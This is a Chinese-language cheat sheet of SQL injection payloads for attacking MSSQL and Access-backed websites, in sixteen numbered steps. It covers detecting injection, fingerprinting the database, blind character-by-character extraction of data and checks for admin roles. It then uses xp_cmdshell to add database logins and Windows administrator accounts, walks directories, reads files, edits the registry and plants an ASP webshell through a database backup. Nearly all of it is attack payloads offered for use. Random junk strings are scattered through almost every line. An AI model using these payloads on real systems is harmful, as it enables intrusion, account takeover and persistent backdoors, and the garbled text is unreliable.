1.判断是否有注入;and 1=1 ;and 1=2 5vD3K!\u
2.初步判断是否是mssql ;and user>0 oL<BLr9>
PXw|
L
3.注入参数是字符'and [查询条件] and ''=' [ rQMD^:M$
}#yU'#|d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' U^%9
)4bj
rO/a,vV
5.判断数据库系统 "^;#f+0
P<%v+O
;and (select count(*) from sysobjects)>0 mssql -xJX _6}A
Ci~f#{
;and (select count(*) from msysobjects)>0 access tm(v~L%$>]
JY{X,?s
) #+^
sAO
esX)"_xf
6.猜数据库 ;and (select Count(*) from [数据库名])>0 jQ+sn/ROp
fQdK]rLj
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 t~hTp K*
Mxl]"?z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =r9r~SR#
KC#/Z2A|<
9.(1)猜字段的ascii值(access) c{Ou^.yR
WQ6"0*er
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ba@ctkCW
%IY``r)j
(2)猜字段的ascii值(mssql) k~.&j"K
[{
~TcT
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 t9cl"F=
;
)Eo7?]-
10.测试权限结构(mssql) F_H82BE+3
S1S;F9F
A/}W&bnluD
yZkyC'/
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- y*23$fj(
k{I01
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- . (}1%22
\ck+GW4&
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- (Pbg[AY
~xLJe`"JUx
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- n6<V+G)T
SUM4Di7
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- =
ieag7!
~j9O$s~)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- =]C]=
,Lr<)p
;and 1=(select IS_MEMBER('db_owner'));-- Sa1l=^
N!2Rl
U#&7p)4(
cV{o?3<:B
11.添加mssql和系统的帐户 F4L;BjnJ
\Ae9\Jp8M
;exec master.dbo.sp_addlogin username;-- YXo|~p;=Y
;exec master.dbo.sp_password null,username,password;-- 6CbxuzYer
pmWr]G3,*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Av' GB
/X'(3'a
;exec master.dbo.xp_cmdshell 'net user username password G 2!xPHz
\QE)m<GUe
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ^=
0m-/
]X Z-o>+,
;exec master.dbo.xp_cmdshell 'net user username password /add';-- `;l .MZL!
.iX# A<E}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *+)AqKP\Kv
XolZonJr
d;mx<i=/
A][fLlpr
12.(1)遍历目录 ?';OD3-
Vv1|51B
;create table dirs(paths varchar(100), id int) ?L&|Uw+
$-}e; V Zb
;insert dirs exec master.dbo.xp_dirtree 'c:\' z7GTaX$d
\;u@ "
;and (select top 1 paths from dirs)>0 D,qu-k[jMI
v[e:qi&fG
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) RPd}Wf
uVyGk~
2owEw*5jl/
o]:3H8
(2)遍历目录 o6
E!IX+
Jc&y9]
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lKZB?Kk^w\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 s, k
LJk%#yV|_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 &F STpBu
;2'q_Btk4
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 c:Wze*vI;
g<{xC_J
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )q7UxzE+
$`R6=\|
<1%f@}+8
NT@;N /I
13.mssql中的存储过程 D?XM,l+
JRo?s~Ih
xp_regenumvalues 注册表根键, 子键 FFdBtB
b4^`DHRu6
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;q N+^;,2
E|'h]NY
xp_regread 根键,子键,键值名 M@0;B30L
@2'Mt}R>
;exec xp_regread 2{|h8oz
L_=3<nE
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3bnS
W5
0d8%T<=J
xp_regwrite 根键,子键, 值名, 值类型, 值 GFr|E8
u#}[ZoI
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 x#Sqn#
2^i(gaXUQ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 g1t0l%_7^
,U(1NK8o
xp_regdeletevalue 根键,子键,值名 AL>$HB$
Jgnhn>dHe
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 o sKKt?^?
a!O0,y
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Q0EiEX)
8Q_SRwN
>jD[X5Y
p<M\U"5Ye
14.mssql的backup创建webshell Y>'|oygHA
kbM3
use model 5mb]Q)f9-
*/|BpakD<
create table cmd(str image); yj^+G
$56,$K`H
insert into cmd(str) values (''); fbUr`~Y"
7jdb)l\p=
backup database model to disk='c:\l.asp'; bV,}Pp+/"!
V+O"j^Z_J
2RSt)3!},
;G%R<Z
15.mssql内置函数 yn#X;ja-
rtc9wu
;and (select @@version)>0 获得Windows的版本号 l\C.",CEcc
=UV`.d2[
;and user_name()='dbo' 判断当前系统的连接用户是不是sa _3ZYtmn.
>$4d7.^hb/
;and (select user_name())>0 爆当前系统的连接用户 !"Oh36
cTG|fdgMW
;and (select db_name())>0 得到当前连接的数据库 IIbYfPiO
h<$MyN4]g
i[ mEi|
}sxYxn~
16.简洁的webshell thhwN
A
Dc,I7F|%
use model 'q`^3&E
cFJY^A
create table cmd(str image); 1YH+d0UGn
MG.`
r{5
insert into cmd(str) values (''); Hro-d1J7
55z]&5N
backup database model to disk='g:\wwwtest\l.asp';